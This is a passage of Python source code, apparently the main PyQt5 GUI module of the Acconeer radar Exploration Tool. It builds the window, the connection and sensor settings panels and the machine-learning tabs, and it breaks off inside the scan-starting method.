import copy import json import logging import os import re import signal import sys import threading import traceback from distutils.version import StrictVersion import numpy as np import pyqtgraph as pg import serial.tools.list_ports from PyQt5 import QtCore, QtWidgets from PyQt5.QtCore import pyqtSignal from PyQt5.QtGui import QIcon from PyQt5.QtWidgets import ( QApplication, QCheckBox, QComboBox, QFrame, QLabel, QLineEdit, QMainWindow, QPushButton, QStackedWidget, QTabWidget, QWidget, ) HERE = os.path.dirname(os.path.realpath(__file__)) sys.path.append(HERE) sys.path.insert(0, os.path.abspath(os.path.join(HERE, ".."))) sys.path.append(os.path.abspath(os.path.join(HERE, "ml"))) sys.path.append(os.path.abspath(os.path.join(HERE, "elements"))) try: from acconeer.exptool import SDK_VERSION, clients, configs, recording, utils from acconeer.exptool.structs import configbase import data_processing from helper import ( AdvancedSerialDialog, BiggerMessageBox, CollapsibleSection, Count, GUIArgumentParser, HandleAdvancedProcessData, Label, LoadState, SensorSelection, SessionInfoView, lib_version_up_to_date, ) from modules import ( MODULE_INFOS, MODULE_KEY_TO_MODULE_INFO_MAP, MODULE_LABEL_TO_MODULE_INFO_MAP, ) except Exception: traceback.print_exc() print("\nPlease update your library with 'python -m pip install -U --user .'") sys.exit(1) if "win32" in sys.platform.lower(): import ctypes myappid = "acconeer.exploration.tool" ctypes.windll.shell32.SetCurrentProcessExplicitAppUserModelID(myappid) class GUI(QMainWindow): DEFAULT_BAUDRATE = 3000000 ACC_IMG_FILENAME = os.path.join(HERE, "elements/acc.png") LAST_CONF_FILENAME = os.path.join(HERE, "last_config.npy") LAST_ML_CONF_FILENAME = os.path.join(HERE, "last_ml_config.npy") sig_scan = pyqtSignal(str, str, object) sig_sensor_config_pidget_event = pyqtSignal(object) sig_processing_config_pidget_event = pyqtSignal(object) def __init__(self, under_test=False): super().__init__() self.under_test = under_test gui_inarg = GUIArgumentParser() if under_test: self.args = gui_inarg.parse_args([]) else: self.args = gui_inarg.parse_args() self.data = None self.data_source = None self.client = None self.num_recv_frames = 0 self.num_missed_frames = 0 self.service_labels = {} self.service_params = None self.service_defaults = None self.advanced_process_data = {"use_data": False, "process_data": None} self.override_baudrate = None self.session_info = None self.threaded_scan = None self.gui_states = { "load_state": LoadState.UNLOADED, "server_connected": False, "replaying_data": False, "scan_is_running": False, "has_config_error": False, "connection_info": None, "ml_mode": bool(self.args.machine_learning), "ml_tab": "main", "ml_model_loaded": False, "ml_sensor_settings_locked": False, "ml_overwrite_settings": False, } self.current_data_type = None self.current_module_label = None self.canvas = None self.sensors_available = None self.basic_sensor_param_count = Count() self.advanced_sensor_param_count = Count() self.control_grid_count = Count() self.param_grid_count = Count(2) self.sensor_widgets = {} self.ml_feature_plot_widget = None self.ml_eval_model_plot_widget = None self.ml_data = None self.sig_sensor_config_pidget_event.connect( self.pidget_sensor_config_event_handler) self.sig_processing_config_pidget_event.connect( self.pidget_processing_config_event_handler) self.module_label_to_sensor_config_map = {} self.module_label_to_processing_config_map = {} self.current_module_info = MODULE_INFOS[0] for mi in MODULE_INFOS: if mi.sensor_config_class is not None: self.module_label_to_sensor_config_map[mi.label] = mi.sensor_config_class() processing_config = self.get_default_processing_config(mi.label) self.module_label_to_processing_config_map[mi.label] = processing_config self.setWindowIcon(QIcon(self.ACC_IMG_FILENAME)) self.main_widget = QtWidgets.QSplitter(self.centralWidget()) self.main_widget.setStyleSheet("QSplitter::handle{background: lightgrey}") self.main_widget.setFrameStyle(QFrame.Panel | QFrame.Sunken) self.setCentralWidget(self.main_widget) self.init_pyqtgraph() self.init_labels() self.init_textboxes() self.init_buttons() self.init_dropdowns() self.init_checkboxes() self.init_sublayouts() self.init_panel_scroll_area() self.init_statusbar() self.init_pidgets() if self.get_gui_state("ml_mode"): self.init_machine_learning() self.main_widget.addWidget(self.ml_parent_widget) self.canvas_layout = self.tabs["collect"].layout else: self.canvas_widget = QFrame(self.main_widget) self.canvas_layout = QtWidgets.QVBoxLayout(self.canvas_widget) self.main_widget.addWidget(self.panel_scroll_area) self.update_canvas(force_update=True) self.resize(1200, 800) self.setWindowTitle("Acconeer Exploration GUI") self.show() self.start_up() self.interface_dd.setCurrentIndex(1) lib_version_up_to_date(gui_handle=self) self.set_gui_state(None, None) self.radar = data_processing.DataProcessing() timer = QtCore.QTimer(self) timer.timeout.connect(self.plot_timer_fun) timer.start(15) self.plot_queue = [] def init_pyqtgraph(self): pg.setConfigOption("background", "#f0f0f0") pg.setConfigOption("foreground", "k") pg.setConfigOption("leftButtonPan", False) pg.setConfigOptions(antialias=True) def init_labels(self): # key: (text) label_info = { "sensor": ("Sensor",), "sweep_buffer": ("Max buffered frames",), "data_source": ("",), "stored_frames": ("",), "interface": ("Interface",), "sweep_info": ("",), "data_warnings": ("",), "rssver": ("",), "libver": ("",), "unsupported_mode": ("Mode not supported by server",), } self.labels = {} for key, (text,) in label_info.items(): lbl = QLabel(self) lbl.setText(text) self.labels[key] = lbl for k in ["data_warnings", "unsupported_mode"]: lbl = self.labels[k] lbl.setStyleSheet("color: #ff0000") lbl.setVisible(False) def init_textboxes(self): # key: (text) textbox_info = { "host": ("192.168.1.100", True), "sweep_buffer": ("1000", True), "stored_frames": ("0", False), "sweep_buffer_ml": ("unlimited", False), } self.textboxes = {} for key, (text, enabled) in textbox_info.items(): self.textboxes[key] = QLineEdit(self) self.textboxes[key].setText(text) self.textboxes[key].setEnabled(enabled) self.textboxes["sweep_buffer_ml"].setVisible(False) def init_checkboxes(self): # text, status, visible, enabled, function checkbox_info = { "verbose": ("Verbose logging", False, True, True, self.set_log_level), "opengl": ("OpenGL", False, True, True, self.enable_opengl), } self.checkboxes = {} for key, (text, status, visible, enabled, fun) in checkbox_info.items(): cb = QCheckBox(text, self) cb.setChecked(status) cb.setVisible(visible) cb.setEnabled(enabled) if fun: cb.stateChanged.connect(fun) self.checkboxes[key] = cb def init_graphs(self, refresh=False): processing_config = self.get_default_processing_config() if self.current_module_info.module is None: canvas = Label(self.ACC_IMG_FILENAME) self.refresh_pidgets() return canvas canvas = pg.GraphicsLayoutWidget() if not refresh: if not (processing_config and isinstance(processing_config, dict)): self.service_params = None self.service_defaults = None else: self.service_params = processing_config self.service_defaults = copy.deepcopy(self.service_params) self.add_params(self.service_params) self.reload_pg_updater(canvas=canvas) self.refresh_pidgets() return canvas def reload_pg_updater(self, canvas=None, session_info=None): if canvas is None: canvas = pg.GraphicsLayoutWidget() self.swap_canvas(canvas) sensor_config = self.get_sensor_config() processing_config = self.update_service_params() if session_info is None: session_info = clients.MockClient().setup_session(sensor_config, check_config=False) self.service_widget = self.current_module_info.module.PGUpdater( sensor_config, processing_config, session_info) self.service_widget.setup(canvas) def init_pidgets(self): self.last_sensor_config = None for sensor_config in self.module_label_to_sensor_config_map.values(): sensor_config._event_handlers.add(self.pidget_sensor_config_event_handler) pidgets = sensor_config._create_pidgets() for pidget in pidgets: if pidget is None: continue category = pidget.param.category if category == configbase.Category.ADVANCED: grid = self.advanced_sensor_config_section.grid count = self.advanced_sensor_param_count else: grid = self.basic_sensor_config_section.grid count = self.basic_sensor_param_count grid.addWidget(pidget, count.val, 0, 1, 2) count.post_incr() self.last_processing_config = None for processing_config in self.module_label_to_processing_config_map.values(): if not isinstance(processing_config, configbase.Config): continue processing_config._event_handlers.add(self.pidget_processing_config_event_handler) pidgets = processing_config._create_pidgets() for pidget in pidgets: if pidget is None: continue if pidget.param.category == configbase.Category.ADVANCED: grid = self.advanced_processing_config_section.grid count = self.param_grid_count else: grid = self.basic_processing_config_section.grid count = self.param_grid_count grid.addWidget(pidget, count.val, 0, 1, 2) count.post_incr() self.refresh_pidgets() self.set_gui_state(None, None) def refresh_pidgets(self): self.refresh_sensor_pidgets() self.refresh_processing_pidgets() self.update_pidgets_on_event() def refresh_sensor_pidgets(self): sensor_config = self.get_sensor_config() if self.last_sensor_config != sensor_config: if self.last_sensor_config is not None: self.last_sensor_config._state = configbase.Config.State.UNLOADED self.last_sensor_config = sensor_config if sensor_config is None: self.basic_sensor_config_section.setVisible(False) self.advanced_sensor_config_section.setVisible(False) return sensor_config._state = configbase.Config.State.LOADED has_basic_params = has_advanced_params = False for param in sensor_config._get_params(): if param.visible: if param.category == configbase.Category.ADVANCED: has_advanced_params = True else: has_basic_params = True if self.get_gui_state("ml_tab") in ["main", "feature_select", "eval"]: self.basic_sensor_config_section.setVisible(has_basic_params) self.advanced_sensor_config_section.setVisible(has_advanced_params) def refresh_processing_pidgets(self): processing_config = self.get_processing_config() if self.last_processing_config != processing_config: if isinstance(self.last_processing_config, configbase.Config): self.last_processing_config._state = configbase.Config.State.UNLOADED self.last_processing_config = processing_config if processing_config is None: self.basic_processing_config_section.hide() self.advanced_processing_config_section.hide() return # TODO: remove the follow check when migration to configbase is done if not isinstance(processing_config, configbase.Config): return processing_config._state = configbase.Config.State.LOADED has_basic_params = has_advanced_params = False for param in processing_config._get_params(): if param.visible: if param.category == configbase.Category.ADVANCED: has_advanced_params = True else: has_basic_params = True if self.get_gui_state("ml_tab") == "main": self.basic_processing_config_section.setVisible(has_basic_params) self.advanced_processing_config_section.setVisible(has_advanced_params) def pidget_sensor_config_event_handler(self, sensor_config): if threading.current_thread().name != "MainThread": self.sig_sensor_config_pidget_event.emit(sensor_config) return self.update_pidgets_on_event(sensor_config=sensor_config) if self.get_gui_state("ml_mode"): self.feature_sidepanel.textboxes["update_rate"].setText(str(sensor_config.update_rate)) self.feature_select.check_limits() def pidget_processing_config_event_handler(self, processing_config): if threading.current_thread().name != "MainThread": self.sig_processing_config_pidget_event.emit(processing_config) return # Processor try: if isinstance(self.radar.external, self.current_module_info.processor): self.radar.external.update_processing_config(processing_config) except AttributeError: pass # Plot updater try: self.service_widget.update_processing_config(processing_config) except AttributeError: pass self.update_pidgets_on_event(processing_config=processing_config) def update_pidgets_on_event(self, sensor_config=None, processing_config=None): if sensor_config is None: sensor_config = self.get_sensor_config() if sensor_config is None: return if processing_config is None: processing_config = self.get_processing_config() all_alerts = [] if isinstance(processing_config, configbase.Config): alerts = processing_config._update_pidgets() all_alerts.extend(alerts) if hasattr(processing_config, "check_sensor_config"): pass_on_alerts = processing_config.check_sensor_config(sensor_config) else: pass_on_alerts = [] alerts = sensor_config._update_pidgets(pass_on_alerts) all_alerts.extend(alerts) has_error = any([a.severity == configbase.Severity.ERROR for a in all_alerts]) self.set_gui_state("has_config_error", has_error) def init_dropdowns(self): self.module_dd = QComboBox(self) for module_info in MODULE_INFOS: if self.get_gui_state("ml_mode"): if module_info.allow_ml: self.module_dd.addItem(module_info.label) else: self.module_dd.addItem(module_info.label) self.module_dd.currentIndexChanged.connect(self.update_canvas) self.interface_dd = QComboBox(self) self.interface_dd.addItem("Socket") self.interface_dd.addItem("Serial") self.interface_dd.addItem("SPI") self.interface_dd.addItem("Simulated") self.interface_dd.currentIndexChanged.connect(self.update_interface) self.ports_dd = QComboBox(self) self.ports_dd.hide() self.update_ports() def enable_opengl(self): if self.checkboxes["opengl"].isChecked(): warning = "Do you really want to enable OpenGL?" detailed = "Enabling OpenGL might crash the GUI or introduce graphic glitches!" if self.warning_message(warning, detailed_warning=detailed): pg.setConfigOptions(useOpenGL=True) self.update_canvas(force_update=True) else: self.checkboxes["opengl"].setChecked(False) else: pg.setConfigOptions(useOpenGL=False) self.update_canvas(force_update=True) def set_multi_sensors(self): module_multi_sensor_support = self.current_module_info.multi_sensor if self.get_gui_state("load_state") == LoadState.LOADED: source_sensors = json.loads(self.data.sensor_config_dump)["sensor"] else: source_sensors = self.sensors_available for name in self.sensor_widgets: self.sensor_widgets[name].set_multi_sensor_support( source_sensors, module_multi_sensor_support) def set_sensors(self, sensors): for name in self.sensor_widgets: self.sensor_widgets[name].set_sensors(sensors) def get_sensors(self, widget_name=None): if widget_name is None: widget_name = "main" sensors = self.sensor_widgets[widget_name].get_sensors() return sensors def update_ports(self): port_infos = serial.tools.list_ports.comports() try: opsys = os.uname() in_wsl = "microsoft" in opsys.release.lower() and "linux" in opsys.sysname.lower() except Exception: in_wsl = False select = -1 ports = [] for i, port in enumerate(port_infos): if port.serial_number and "FT91FIQ8" in port.serial_number or (not in_wsl and os.name == "posix" and port.description.lower() in {"xb112", "xb122"}): ports.append("{} (S/N:{})".format(port.device, port.serial_number)) select = i else: ports.append(port.device) try: if in_wsl: print("WSL detected. Limiting serial ports") ports_reduced = [] for p in ports: if int(re.findall(r"\d+", p)[0]) < 20: ports_reduced.append(p) ports = ports_reduced except Exception: pass self.ports_dd.clear() self.ports_dd.addItems(ports) if select >= 0: self.ports_dd.setCurrentIndex(select) def advanced_port(self): dialog = AdvancedSerialDialog(self.override_baudrate, self) ret = dialog.exec_() if ret == QtWidgets.QDialog.Accepted: self.override_baudrate = dialog.get_state() dialog.deleteLater() def start_btn_clicked(self): if self.get_gui_state("load_state") == LoadState.LOADED: self.data = None self.session_info_view.update(None) self.set_gui_state("load_state", LoadState.UNLOADED) else: self.start_scan() def save_file_btn_clicked(self): self.save_scan(self.data) def replay_btn_clicked(self): self.load_scan(restart=True) def init_buttons(self): # key: text, function, enabled, hidden, group button_info = { "start": ("Start", self.start_btn_clicked, False, False, "scan"), "connect": ("Connect", self.connect_to_server, True, False, "connection"), "stop": ("Stop", self.stop_scan, False, False, "scan"), "load_scan": ("Load from file", self.load_scan, True, False, "scan"), "save_scan": ("Save to file", self.save_file_btn_clicked, False, False, "scan"), "replay_buffered": ( "Replay", self.replay_btn_clicked, False, False, "scan", ), "scan_ports": ("Scan ports", self.update_ports, True, True, "connection"), "sensor_defaults": ( "Defaults", self.sensor_defaults_handler, False, False, "sensor", ), "service_defaults": ( "Defaults", self.service_defaults_handler, True, False, "service", ), "advanced_defaults": ( "Defaults", self.service_defaults_handler, True, False, "advanced", ), "save_process_data": ( "Save process data", lambda: self.handle_advanced_process_data("save"), True, True, "advanced", ), "load_process_data": ( "Load process data", lambda: self.handle_advanced_process_data("load"), True, True, "advanced", ), "advanced_port": ( "Advanced port settings", self.advanced_port, True, True, "connection", ), } self.buttons = {} for key, (text, fun, enabled, hidden, _) in button_info.items(): btn = QPushButton(text, self) btn.clicked.connect(fun) btn.setEnabled(enabled) btn.setHidden(hidden) btn.setMinimumWidth(150) self.buttons[key] = btn def init_sublayouts(self): self.main_sublayout = QtWidgets.QGridLayout() self.main_sublayout.setContentsMargins(0, 3, 0, 3) self.main_sublayout.setSpacing(0) self.server_section = CollapsibleSection("Connection", is_top=True) self.main_sublayout.addWidget(self.server_section, 0, 0) self.server_section.grid.addWidget(self.labels["interface"], 0, 0) self.server_section.grid.addWidget(self.interface_dd, 0, 1) self.server_section.grid.addWidget(self.ports_dd, 1, 0) self.server_section.grid.addWidget(self.textboxes["host"], 1, 0, 1, 2) self.server_section.grid.addWidget(self.buttons["scan_ports"], 1, 1) self.server_section.grid.addWidget(self.buttons["advanced_port"], 2, 0, 1, 2) self.server_section.grid.addWidget(self.buttons["connect"], 3, 0, 1, 2) self.server_section.grid.addWidget(self.labels["rssver"], 4, 0, 1, 2) self.control_section = CollapsibleSection("Scan controls") self.main_sublayout.addWidget(self.control_section, 1, 0) c = self.control_grid_count self.control_section.grid.addWidget(self.module_dd, c.pre_incr(), 0, 1, 2) self.control_section.grid.addWidget(self.labels["unsupported_mode"], c.pre_incr(), 0, 1, 2) self.control_section.grid.addWidget(self.buttons["start"], c.pre_incr(), 0) self.control_section.grid.addWidget(self.buttons["stop"], c.val, 1) self.control_section.grid.addWidget(self.buttons["save_scan"], c.pre_incr(), 0) self.control_section.grid.addWidget(self.buttons["load_scan"], c.val, 1) self.control_section.grid.addWidget(self.buttons["replay_buffered"], c.pre_incr(), 0, 1, 2) self.control_section.grid.addWidget(self.labels["data_source"], c.pre_incr(), 0, 1, 2) self.control_section.grid.addWidget(self.labels["sweep_buffer"], c.pre_incr(), 0) self.control_section.grid.addWidget(self.textboxes["sweep_buffer"], c.val, 1) self.control_section.grid.addWidget(self.textboxes["sweep_buffer_ml"], c.val, 1) self.control_section.grid.addWidget(self.labels["stored_frames"], c.pre_incr(), 0) self.control_section.grid.addWidget(self.textboxes["stored_frames"], c.val, 1) self.basic_sensor_config_section = CollapsibleSection("Sensor settings") self.main_sublayout.addWidget(self.basic_sensor_config_section, 4, 0) c = self.basic_sensor_param_count self.basic_sensor_config_section.grid.addWidget( self.buttons["sensor_defaults"], c.post_incr(), 0, 1, 2) self.basic_sensor_config_section.grid.addWidget(self.labels["sensor"], c.val, 0) sensor_selection = SensorSelection(error_handler=self.error_message) self.basic_sensor_config_section.grid.addWidget(sensor_selection, c.post_incr(), 1) self.sensor_widgets["main"] = sensor_selection self.advanced_sensor_config_section = CollapsibleSection( "Advanced sensor settings", init_collapsed=True) self.main_sublayout.addWidget(self.advanced_sensor_config_section, 5, 0) self.session_info_section = CollapsibleSection( "Session information (sensor metadata)", init_collapsed=True) self.main_sublayout.addWidget(self.session_info_section, 6, 0) self.session_info_view = SessionInfoView(self.session_info_section) self.session_info_section.grid.addWidget(self.session_info_view, 0, 0, 1, 2) self.basic_processing_config_section = CollapsibleSection("Processing settings") self.main_sublayout.addWidget(self.basic_processing_config_section, 7, 0) self.basic_processing_config_section.grid.addWidget( self.buttons["service_defaults"], 0, 0, 1, 2) self.advanced_processing_config_section = CollapsibleSection( "Advanced processing settings", init_collapsed=True) self.main_sublayout.addWidget(self.advanced_processing_config_section, 8, 0) self.advanced_processing_config_section.grid.addWidget( self.buttons["advanced_defaults"], 0, 0, 1, 2) self.advanced_processing_config_section.grid.addWidget( self.buttons["load_process_data"], 1, 0) self.advanced_processing_config_section.grid.addWidget( self.buttons["save_process_data"], 1, 1) self.main_sublayout.setRowStretch(9, 1) def init_panel_scroll_area(self): self.panel_scroll_area = QtWidgets.QScrollArea() self.panel_scroll_area.setFrameShape(QFrame.NoFrame) self.panel_scroll_area.setMinimumWidth(350) self.panel_scroll_area.setMaximumWidth(600) self.panel_scroll_area.setWidgetResizable(True) self.panel_scroll_area.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOn) self.panel_scroll_area.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff) self.panel_scroll_area.horizontalScrollBar().setEnabled(False) self.panel_scroll_area_widget = QStackedWidget(self.panel_scroll_area) self.panel_scroll_area.setWidget(self.panel_scroll_area_widget) self.main_sublayout_widget = QWidget(self.panel_scroll_area_widget) self.main_sublayout_widget.setLayout(self.main_sublayout) self.panel_scroll_area_widget.addWidget(self.main_sublayout_widget) self.panel_scroll_area_widget.setCurrentWidget(self.main_sublayout_widget) def init_statusbar(self): self.statusBar().showMessage("Not connected") self.labels["sweep_info"].setFixedWidth(220) self.statusBar().addPermanentWidget(self.labels["data_warnings"]) self.statusBar().addPermanentWidget(self.labels["sweep_info"]) self.statusBar().addPermanentWidget(self.labels["libver"]) self.statusBar().addPermanentWidget(self.checkboxes["verbose"]) self.statusBar().addPermanentWidget(self.checkboxes["opengl"]) self.statusBar().setStyleSheet("QStatusBar{border-top: 1px solid lightgrey;}") self.statusBar().show() def init_machine_learning(self): if self.get_gui_state("ml_mode"): import feature_processing import ml_gui_elements as ml_gui import ml_state self.ml_elements = ml_gui self.ml_external = feature_processing.DataProcessor self.ml_module = feature_processing self.ml_state = ml_state.MLState(self) self.ml_info_widget = ml_state.MLStateWidget(self) self.ml_state.add_status_widget(self.ml_info_widget) self.ml_model_ops = ml_gui.ModelOperations(self) self.init_tabs() self.init_ml_panels() def init_tabs(self): self.ml_parent_widget = QtWidgets.QSplitter(self.main_widget) self.ml_parent_widget.resize(300, 200) self.ml_parent_widget.setOrientation(QtCore.Qt.Vertical) self.ml_parent_widget.setStyleSheet("QSplitter::handle{background: lightgrey}") self.ml_parent_widget.setFrameStyle(QFrame.Panel | QFrame.Sunken) self.tab_parent = QTabWidget(self.ml_parent_widget) self.tab_parent.setTabPosition(QTabWidget.South) self.ml_parent_widget.addWidget(self.tab_parent) self.ml_parent_widget.addWidget(self.ml_info_widget) self.tabs = { "collect": (QWidget(self.tab_parent), "Select service"), "feature_select": (QWidget(self.tab_parent), "Feature configuration"), "feature_extract": (QWidget(self.tab_parent), "Feature extraction"), "feature_inspect": (QWidget(self.tab_parent), "Feature inspection"), "model_select": (QWidget(self.tab_parent), "Model parameters"), "train": (QWidget(self.tab_parent), "Train Model"), "eval": (QWidget(self.tab_parent), "Use Model"), } self.tabs_text_to_key = { "Select service": "main", "Feature configuration": "feature_select", "Feature extraction": "feature_extract", "Feature inspection": "feature_inspect", "Model parameters": "model_select", "Train Model": "train", "Use Model": "eval", } for key, (tab, label) in self.tabs.items(): self.tab_parent.addTab(tab, label) tab.layout = QtWidgets.QVBoxLayout() tab.setLayout(tab.layout) tab.setObjectName("child") tab.setStyleSheet("QWidget#child{background: #f0f0f0}") self.tabs[key] = tab self.tab_parent.currentChanged.connect(self.tab_changed) self.feature_select = self.ml_elements.FeatureSelectFrame( self.main_widget, gui_handle=self, ) self.tabs["feature_select"].layout.addWidget(self.feature_select) self.feature_extract = self.ml_elements.FeatureExtractFrame( self.main_widget, gui_handle=self, ) self.tabs["feature_extract"].layout.addWidget(self.feature_extract) self.feature_inspect = self.ml_elements.FeatureInspectFrame( self.main_widget, gui_handle=self, ) self.tabs["feature_inspect"].layout.addWidget(self.feature_inspect) self.model_select = self.ml_elements.ModelSelectFrame( self.main_widget, gui_handle=self, ) self.tabs["model_select"].layout.addWidget(self.model_select) self.training = self.ml_elements.TrainingFrame(self.main_widget, gui_handle=self) self.tabs["train"].layout.addWidget(self.training) self.eval_model = self.ml_elements.EvalFrame(self.main_widget, gui_handle=self) self.tabs["eval"].layout.addWidget(self.eval_model) def init_ml_panels(self): # feature select/extract/inspect side panel self.feature_section = CollapsibleSection("Feature settings", init_collapsed=False) self.main_sublayout.addWidget(self.feature_section, 3, 0) self.feature_sidepanel = self.ml_elements.FeatureSidePanel( self.panel_scroll_area_widget, self) self.feature_section.grid.addWidget(self.feature_sidepanel, 0, 0, 1, 2) self.feature_section.hide() self.feature_section.button_event(override=False) # training panel self.training_sidepanel = self.ml_elements.TrainingSidePanel( self.panel_scroll_area_widget, self) self.panel_scroll_area_widget.addWidget(self.training_sidepanel) def tab_changed(self, index): tab = self.tab_parent.tabText(index) self.set_gui_state("ml_tab", self.tabs_text_to_key[tab]) def enable_tabs(self, enable): if not self.get_gui_state("ml_mode"): return current_tab = self.tab_parent.currentIndex() for i in range(len(self.tabs)): if i != current_tab: self.tab_parent.setTabEnabled(i, enable) def add_params(self, params, start_up_mode=None): if params is None: params = {} self.buttons["load_process_data"].hide() self.buttons["save_process_data"].hide() for mode in self.service_labels: for param_key in self.service_labels[mode]: for element in self.service_labels[mode][param_key]: if element in ["label", "box", "checkbox", "button"]: self.service_labels[mode][param_key][element].setVisible(False) if start_up_mode is None: mode = self.current_module_label set_visible = True else: mode = start_up_mode set_visible = False if mode not in self.service_labels: self.service_labels[mode] = {} advanced_available = False for param_key, param_dict in params.items(): if param_key not in self.service_labels[mode]: param_gui_dict = {} self.service_labels[mode][param_key] = param_gui_dict advanced_available = bool(param_dict.get("advanced")) if advanced_available: grid = self.advanced_processing_config_section.grid else: grid = self.basic_processing_config_section.grid param_gui_dict["advanced"] = advanced_available if "send_process_data" == param_key: data_buttons = param_gui_dict data_buttons["load_button"] = self.buttons["load_process_data"] data_buttons["save_button"] = self.buttons["save_process_data"] data_buttons["load_text"] = "Load " + param_dict["text"] data_buttons["save_text"] = "Save " + param_dict["text"] data_buttons["load_button"].setText(data_buttons["load_text"]) data_buttons["save_button"].setText(data_buttons["save_text"]) data_buttons["load_button"].setVisible(set_visible) data_buttons["save_button"].setVisible(set_visible) elif isinstance(param_dict["value"], bool): param_gui_dict["checkbox"] = QCheckBox(param_dict["name"], self) param_gui_dict["checkbox"].setChecked(param_dict["value"]) grid.addWidget(param_gui_dict["checkbox"], self.param_grid_count.val, 0, 1, 2) elif param_dict["value"] is not None: param_gui_dict["label"] = QLabel(self) param_gui_dict["label"].setMinimumWidth(125) param_gui_dict["label"].setText(param_dict["name"]) param_gui_dict["box"] = QLineEdit(self) param_gui_dict["box"].setText(str(param_dict["value"])) param_gui_dict["limits"] = param_dict["limits"] param_gui_dict["default"] = param_dict["value"] grid.addWidget(param_gui_dict["label"], self.param_grid_count.val, 0) grid.addWidget(param_gui_dict["box"], self.param_grid_count.val, 1) param_gui_dict["box"].setVisible(set_visible) else: # param is only a label param_gui_dict["label"] = QLabel(self) param_gui_dict["label"].setText(str(param_dict["text"])) grid.addWidget(param_gui_dict["label"], self.param_grid_count.val, 0, 1, 2) self.param_grid_count.post_incr() else: param_gui_dict = self.service_labels[mode][param_key] for element in param_gui_dict: if element in ["label", "box", "checkbox"]: param_gui_dict[element].setVisible(set_visible) if "button" in element: data_buttons = param_gui_dict data_buttons["load_button"].setText(data_buttons["load_text"]) data_buttons["save_button"].setText(data_buttons["save_text"]) data_buttons["load_button"].setVisible(set_visible) data_buttons["save_button"].setVisible(set_visible) if param_gui_dict["advanced"]: advanced_available = True if start_up_mode is None: if self.get_gui_state("ml_tab") == "main": self.basic_processing_config_section.setVisible(bool(params)) if advanced_available: self.advanced_processing_config_section.show() self.advanced_processing_config_section.button_event(override=True) else: self.advanced_processing_config_section.hide() def sensor_defaults_handler(self): config = self.get_sensor_config() if config is None: return default_config = self.current_module_info.sensor_config_class() config._loads(default_config._dumps()) def service_defaults_handler(self): processing_config = self.get_processing_config() if isinstance(processing_config, configbase.Config): processing_config._reset() return mode = self.current_module_label if self.service_defaults is None: return for key in self.service_defaults: if key in self.service_labels[mode]: if "box" in self.service_labels[mode][key]: self.service_labels[mode][key]["box"].setText( str(self.service_defaults[key]["value"])) if "checkbox" in self.service_labels[mode][key]: self.service_labels[mode][key]["checkbox"].setChecked( bool(self.service_defaults[key]["value"])) def update_canvas(self, force_update=False): module_label = self.module_dd.currentText() switching_module = self.current_module_label != module_label self.current_module_label = module_label self.current_module_info = MODULE_LABEL_TO_MODULE_INFO_MAP[module_label] if self.current_module_info.module is None: data_type = None self.external = None else: data_type = self.current_module_info.sensor_config_class().mode self.external = self.current_module_info.processor switching_data_type = self.current_data_type != data_type self.current_data_type = data_type if switching_data_type: self.data = None self.session_info_view.update(None) self.set_gui_state("load_state", LoadState.UNLOADED) if force_update or switching_module: if not switching_module: self.update_service_params() new_canvas = self.init_graphs(refresh=(not switching_module)) self.swap_canvas(new_canvas) def swap_canvas(self, new_canvas): if self.canvas is not None: self.canvas_layout.removeWidget(self.canvas) self.canvas.setParent(None) self.canvas.deleteLater() self.canvas_layout.addWidget(new_canvas) self.canvas = new_canvas def update_interface(self): if self.gui_states["server_connected"]: self.connect_to_server() if "serial" in self.interface_dd.currentText().lower(): self.ports_dd.show() self.textboxes["host"].hide() self.buttons["advanced_port"].show() self.buttons["scan_ports"].show() self.update_ports() elif "spi" in self.interface_dd.currentText().lower(): self.ports_dd.hide() self.textboxes["host"].hide() self.buttons["advanced_port"].hide() self.buttons["scan_ports"].hide() elif "socket" in self.interface_dd.currentText().lower(): self.ports_dd.hide() self.textboxes["host"].show() self.buttons["advanced_port"].hide() self.buttons["scan_ports"].hide() elif "simulated" in self.interface_dd.currentText().lower(): self.ports_dd.hide() self.textboxes["host"].hide() self.buttons["advanced_port"].hide() self.buttons["scan_ports"].hide() self.set_multi_sensors() def error_message(self, text, info_text=None): if self.under_test: raise Exception if not text: return message_box = BiggerMessageBox(self.main_widget) message_box.setIcon(QtWidgets.QMessageBox.Warning) message_box.setStandardButtons(QtWidgets.QMessageBox.Ok) message_box.setWindowTitle("Alert") message_box.setText(text.replace("\n", "<br>")) if info_text: message_box.setInformativeText(info_text.replace("\n", "<br>")) if any(sys.exc_info()): detailed_text = traceback.format_exc() message_box.setDetailedText(detailed_text) message_box.exec_() def info_handle(self, info, detailed_info=None, blocking=True): msg = QtWidgets.QMessageBox(self.main_widget) msg.setIcon(QtWidgets.QMessageBox.Information) msg.setText(info) if detailed_info: msg.setDetailedText(detailed_info) msg.setWindowTitle("Info") msg.setStandardButtons(QtWidgets.QMessageBox.Ok) if blocking: msg.exec_() else: msg.show() return msg def warning_message(self, warning, detailed_warning=None): msg = QtWidgets.QMessageBox(self.main_widget) msg.setIcon(QtWidgets.QMessageBox.Warning) msg.setText(warning) if detailed_warning: msg.setDetailedText(detailed_warning) msg.setWindowTitle("Warning") msg.setStandardButtons(QtWidgets.QMessageBox.Ok | QtWidgets.QMessageBox.Cancel) retval = msg.exec_() return retval == 1024 def start_scan(self, from_file=False): if not self.get_sensors(): self.error_message("Please select at least one sensor") return if self.current_module_info.module is None: self.error_message("Please select a service or detector") return try: sweep_buffer = int(self.textboxes["sweep_buffer"].text()) assert sweep_buffer > 0 except (ValueError, AssertionError): self.textboxes["sweep_buffer"].setText(str("1000")) self.error_message("Sweep buffer needs to be a positive integer") return sensor_config = self.get_sensor_config() if from_file: sensor_config._loads(self.data.sensor_config_dump) self.set_gui_state("replaying_data", True) self.update_canvas(force_update=True) processing_config = self.update_service_params() sensor_config = self.save_gui_settings_to_sensor_config() params = { "sensor_config": sensor_config, "data_source": "file" if from_file else "stream", "module_info": self.current_module_info, "sweep_buffer": sweep_buffer, "service_params": processing_config, "ml_settings": None, "multi_sensor": self.current_module_info.multi_sensor, "rss_version": getattr(self, "rss_version", None), } ml_tab = self.get_gui_state("ml_tab") if ml_tab != "main": if not (self.ml_state.get_ml_settings_for_scan(ml_tab, params)): return self.threaded_scan = Threaded_Scan(params, parent=self) self.threaded_scan.sig_scan.connect(self.thread_receive) self.sig_scan.connect(self.threaded_scan.receive) self.module_dd.setEnabled(False) self.checkboxes["opengl"].setEnabled(False) self.num_recv_frames = 0 self.num_missed_frames = 0 self.threaded_scan.start() if isinstance(processing_config, configbase.Config): 